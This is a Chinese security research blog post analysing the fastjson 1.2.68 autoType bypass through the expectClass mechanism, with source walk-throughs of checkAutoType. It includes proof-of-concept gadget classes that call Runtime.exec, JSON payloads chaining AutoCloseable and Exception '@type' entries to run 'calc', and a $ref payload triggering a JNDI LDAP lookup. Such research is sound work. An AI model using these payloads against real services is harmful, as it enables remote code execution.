fastjson 1.2.68 bypass autotype
基于期望类的特性
分析
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(String typeName, Class<?> expectClass, int features)
方法有三个参数分别是
- typeName 被序列化的类名
- expectClass 期望类
- features值
具体看下校验过程
首先判断非空和安全模式以及typename长度来决定是否进行autotype。
1 if (typeName == null) {
2 return null;
3 }
4
5 if (autoTypeCheckHandlers != null) {
6 for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
7 Class<?> type = h.handler(typeName, expectClass, features);
8 if (type != null) {
9 return type;
10 }
11 }
12 }
13
14 final int safeModeMask = Feature.SafeMode.mask;
15 boolean safeMode = this.safeMode
16 || (features & safeModeMask) != 0
17 || (JSON.DEFAULT_PARSER_FEATURE & safeModeMask) != 0;
18 if (safeMode) {
19 throw new JSONException("safeMode not support autoType : " + typeName);
20 }
21
22 if (typeName.length() >= 192 || typeName.length() < 3) {
23 throw new JSONException("autoType is not support. " + typeName);
24 }
然后判断期望类
1 final boolean expectClassFlag;
2 if (expectClass == null) {
3 expectClassFlag = false;
4 } else {
5 if (expectClass == Object.class
6 || expectClass == Serializable.class
7 || expectClass == Cloneable.class
8 || expectClass == Closeable.class
9 || expectClass == EventListener.class
10 || expectClass == Iterable.class
11 || expectClass == Collection.class
12 ) {
13 expectClassFlag = false;
14 } else {
15 expectClassFlag = true;
16 }
17 }
Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection这几个类不能作为expectClass期望类。
然后计算hash进行内部白名单、黑名单匹配
1 String className = typeName.replace('$', '.');
2 Class<?> clazz;
3
4 final long BASIC = 0xcbf29ce484222325L;
5 final long PRIME = 0x100000001b3L;
6
7 final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
8 if (h1 == 0xaf64164c86024f1aL) { // [
9 throw new JSONException("autoType is not support. " + typeName);
10 }
11
12 if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
13 throw new JSONException("autoType is not support. " + typeName);
14 }
15
16 final long h3 = (((((BASIC ^ className.charAt(0))
17 * PRIME)
18 ^ className.charAt(1))
19 * PRIME)
20 ^ className.charAt(2))
21 * PRIME;
22
23 long fullHash = TypeUtils.fnv1a_64(className);
24 boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES, fullHash) >= 0;
25
26 if (internalDenyHashCodes != null) {
27 long hash = h3;
28 for (int i = 3; i < className.length(); ++i) {
29 hash ^= className.charAt(i);
30 hash *= PRIME;
31 if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
32 throw new JSONException("autoType is not support. " + typeName);
33 }
34 }
35 }
36
37 if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
38 long hash = h3;
39 for (int i = 3; i < className.length(); ++i) {
40 hash ^= className.charAt(i);
41 hash *= PRIME;
42 if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
43 clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
44 if (clazz != null) {
45 return clazz;
46 }
47 }
48 if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
49 if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
50 continue;
51 }
52
53 throw new JSONException("autoType is not support. " + typeName);
54 }
55 }
56 }
如果(!internalWhite) && (autoTypeSupport || expectClassFlag)
不在内部白名单中并且开启autoTypeSupport或者有期望类时,进行hash校验白名单acceptHashCodes、黑名单denyHashCodes,在白名单内就加载,在黑名单中就抛出异常。继续
1 clazz = TypeUtils.getClassFromMapping(typeName);
2
3 if (clazz == null) {
4 clazz = deserializers.findClass(typeName);
5 }
6
7 if (clazz == null) {
8 clazz = typeMapping.get(typeName);
9 }
10
11 if (internalWhite) {
12 clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
13 }
14
15 if (clazz != null) {
16 if (expectClass != null
17 && clazz != java.util.HashMap.class
18 && !expectClass.isAssignableFrom(clazz)) {
19 throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
20 }
21
22 return clazz;
23 }
分别从getClassFromMapping、deserializers.findClass、typeMapping、internalWhite内部白名单中查找类,如果开启了expectClass期望类还要判断类型是否一致。
getClassFromMapping在com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings
被赋值,添加了一些基本类,后续会当作缓存使用。
这里先注意下
java.lang.AutoCloseable
类。
deserializers.findClass是在com.alibaba.fastjson.parser.ParserConfig#initDeserializers
初始化。
也是存放了一些特殊类用来直接反序列化。
typeMapping默认为空需要开发自己赋值,形如
1ParserConfig.getGlobalInstance().register("test", Model.class);
internalWhite内部白名单就不说了,到这里已经可以返回类了,通过java.net.Inet6Address
、java.net.URL
等来判断fastjson也是这个原理。
然后继续走就到了autoTypeSupport的校验。
1 if (!autoTypeSupport) {
2 long hash = h3;
3 for (int i = 3; i < className.length(); ++i) {
4 char c = className.charAt(i);
5 hash ^= c;
6 hash *= PRIME;
7
8 if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
9 throw new JSONException("autoType is not support. " + typeName);
10 }
11
12 // white list
13 if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
14 clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
15
16 if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
17 throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
18 }
19
20 return clazz;
21 }
22 }
23 }
黑白名单匹配。
继续判断使用注解JSONType的类
1 boolean jsonType = false;
2 InputStream is = null;
3 try {
4 String resource = typeName.replace('.', '/') + ".class";
5 if (defaultClassLoader != null) {
6 is = defaultClassLoader.getResourceAsStream(resource);
7 } else {
8 is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
9 }
10 if (is != null) {
11 ClassReader classReader = new ClassReader(is, true);
12 TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
13 classReader.accept(visitor);
14 jsonType = visitor.hasJsonType();
15 }
16 } catch (Exception e) {
17 // skip
18 } finally {
19 IOUtils.close(is);
20 }
继续
1 final int mask = Feature.SupportAutoType.mask;
2 boolean autoTypeSupport = this.autoTypeSupport
3 || (features & mask) != 0
4 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
5
6 if (autoTypeSupport || jsonType || expectClassFlag) {
7 boolean cacheClass = autoTypeSupport || jsonType;
8 clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
9 }
10
11 if (clazz != null) {
12 if (jsonType) {
13 TypeUtils.addMapping(typeName, clazz);
14 return clazz;
15 }
16
17 if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
18 || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
19 || javax.sql.RowSet.class.isAssignableFrom(clazz) //
20 ) {
21 throw new JSONException("autoType is not support. " + typeName);
22 }
23
24 if (expectClass != null) {
25 if (expectClass.isAssignableFrom(clazz)) {
26 TypeUtils.addMapping(typeName, clazz);
27 return clazz;
28 } else {
29 throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
30 }
31 }
32
33 JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
34 if (beanInfo.creatorConstructor != null && autoTypeSupport) {
35 throw new JSONException("autoType is not support. " + typeName);
36 }
37 }
如果有注解,则加入mapping缓存并直接返回。如果没有注解判断clazz类是否继承或实现classloader、dataSource、RowSet,抛出异常防止jndi注入。
如果expectClass期望类不为空,则需要加载的类是期望类的子类或实现,并直接返回,否则异常。
如果类使用JSONCreator
注解并且开启autoTypeSupport,抛出异常。
最后就是判断是否开启autoTypeSupport特性,将clazz添加进缓存,并且return clazz。
1 if (!autoTypeSupport) {
2 throw new JSONException("autoType is not support. " + typeName);
3 }
4
5 if (clazz != null) {
6 TypeUtils.addMapping(typeName, clazz);
7 }
可以看到主要有如下种情况可以直接返回class
TypeUtils.mappings mappings缓存1.2.47中就被绕过了一次autotype。而这次绕过是在于exceptClass
期望类这个功能。
期望类的功能主要是实现/继承了期望类的class能被反序列化出来(并且不受autotype影响),寻找checkAutoType方法的调用,要求exceptClass不为空。
只有两个类JavaBeanDeserializer
、ThrowableDeserializer
中调用了checkAutoType并且exceptClass不为空。
在com/alibaba/fastjson/parser/ParserConfig.java:826
中对一些基本的类型设置了对应的反序列化实例deserializer
ThrowableDeserializer是Throwable用来反序列化异常类的,当没有命中之前程序给定的类型时会进入createJavaBeanDeserializer(),其实就是JavaBeanDeserializer。
先看ThrowableDeserializer中
根据第二个@type
获取类,并且传入指定期望类进行加载。因此可以反序列化继承Throwable的异常类,借助setter、getter等方法的自动调用,来挖掘gadget。浅蓝师傅给了一个gadget
1package org.chabug.fastjson.exploit;
2
3import java.io.IOException;
4
5public class ExecException extends Exception {
6
7 private String domain;
8
9 public ExecException() {
10 super();
11 }
12
13 public String getDomain() {
14 return domain;
15 }
16
17 public void setDomain(String domain) {
18 this.domain = domain;
19 }
20
21 @Override
22 public String getMessage() {
23 try {
24 Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
25 } catch (IOException e) {
26 return e.getMessage();
27 }
28
29 return super.getMessage();
30 }
31}
提交json触发rce
1{
2 "@type":"java.lang.Exception",
3 "@type": "org.chabug.fastjson.exploit.ExecException",
4 "domain": "y4er.com | calc"
5}
当然很少有开发者把命令执行写道异常类处理中,所以Throwable鸡肋。
再来看JavaBeanDeserializer,在fastjson中对大部分类都指定了特定的deserializer,而AutoCloseable类没有,通过继承/实现AutoCloseable的类可以绕过autotype反序列化。场景如下:
1package org.chabug.fastjson.exploit;
2
3import java.io.Closeable;
4import java.io.IOException;
5
6public class ExecCloseable implements Closeable {
7 private String domain;
8
9 public ExecCloseable() {
10 }
11
12 public ExecCloseable(String domain) {
13 this.domain = domain;
14 }
15
16 public String getDomain() {
17 try {
18 Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
19 } catch (IOException e) {
20 e.printStackTrace();
21 }
22 return domain;
23 }
24
25 public void setDomain(String domain) {
26 this.domain = domain;
27 }
28
29 @Override
30 public void close() throws IOException {
31
32 }
33}
提交json触发rce
1{
2 "@type":"java.lang.AutoCloseable",
3 "@type": "org.chabug.fastjson.exploit.ExecCloseable",
4 "domain": "y4er.com | calc"
5}
fastjson在黑名单中还加上了java.lang.Runnable、java.lang.Readable,这个利用场景拿Runnable举个例子
1package org.chabug.fastjson.exploit;
2
3import java.io.IOException;
4
5public class ExecRunnable implements AutoCloseable {
6 private EvalRunnable eval;
7
8 public EvalRunnable getEval() {
9 return eval;
10 }
11
12 public void setEval(EvalRunnable eval) {
13 this.eval = eval;
14 }
15
16 @Override
17 public void close() throws Exception {
18
19 }
20}
21
22class EvalRunnable implements Runnable {
23 private String cmd;
24
25 public String getCmd() {
26 System.out.println("EvalRunnable getCmd() "+cmd);
27 try {
28 Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
29 } catch (IOException e) {
30 e.printStackTrace();
31 }
32 return cmd;
33 }
34
35 public void setCmd(String cmd) {
36 this.cmd = cmd;
37 }
38
39 @Override
40 public void run() {
41
42 }
43}
1{
2 "@type":"java.lang.AutoCloseable",
3 "@type": "org.chabug.fastjson.exploit.ExecRunnable",
4 "eval":{"@type":"org.chabug.fastjson.exploit.EvalRunnable","cmd":"calc"}
5}
Readable同理。
拓展使用$ref拓展攻击面,使用parse()解析的也能触发任意getter。这个payload来自 @threedr3am
1package org.chabug.fastjson.exploit;
2
3import com.alibaba.fastjson.JSON;
4import org.apache.shiro.jndi.JndiLocator;
5import org.apache.shiro.util.Factory;
6
7import javax.naming.NamingException;
8
9public class RefAnyGetterInvoke<T> extends JndiLocator implements Factory<T>, AutoCloseable {
10 private String resourceName;
11
12 public RefAnyGetterInvoke() {
13 }
14
15 public static void main(String[] args) {
16 String json = "{\n" +
17 " \"@type\":\"java.lang.AutoCloseable\",\n" +
18 " \"@type\": \"org.chabug.fastjson.exploit.RefAnyGetterInvoke\",\n" +
19 " \"resourceName\": \"ldap://localhost:1389/Calc\",\n" +
20 " \"instance\": {\n" +
21 " \"$ref\": \"$.instance\"\n" +
22 " }\n" +
23 "}";
24 System.out.println(json);
25 JSON.parse(json); // 默认不会调用getter 使用$ref就可以调用到getInstance()
26// JSON.parseObject(json); // parseObject默认就会调用getter getInstance()
27 }
28
29 public T getInstance() {
30 System.out.println(getClass().getName() + ".getInstance() invoke.");
31 try {
32 return (T) this.lookup(this.resourceName);
33 } catch (NamingException var3) {
34 throw new IllegalStateException("Unable to look up with jndi name '" + this.resourceName + "'.", var3);
35 }
36 }
37
38 public String getResourceName() {
39 System.out.println(getClass().getName() + ".getResourceName() invoke.");
40 return this.resourceName;
41 }
42
43 public void setResourceName(String resourceName) {
44 System.out.println(getClass().getName() + ".setResourceName() invoke.");
45 this.resourceName = resourceName;
46 }
47
48 @Override
49 public void close() throws Exception {
50
51 }
52}
gadget
1 if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
2 || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
3 || javax.sql.RowSet.class.isAssignableFrom(clazz) //
4 ) {
5 throw new JSONException("autoType is not support. " + typeName);
6 }
因为这几行代码的限制,大部分的JNDI gadget都不能用了,需要找到一条基于AutoCloseable的新gadget。浅蓝师傅给的思路是挖掘文件读写操作。我还在挖掘中,欢迎各位师傅交流。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。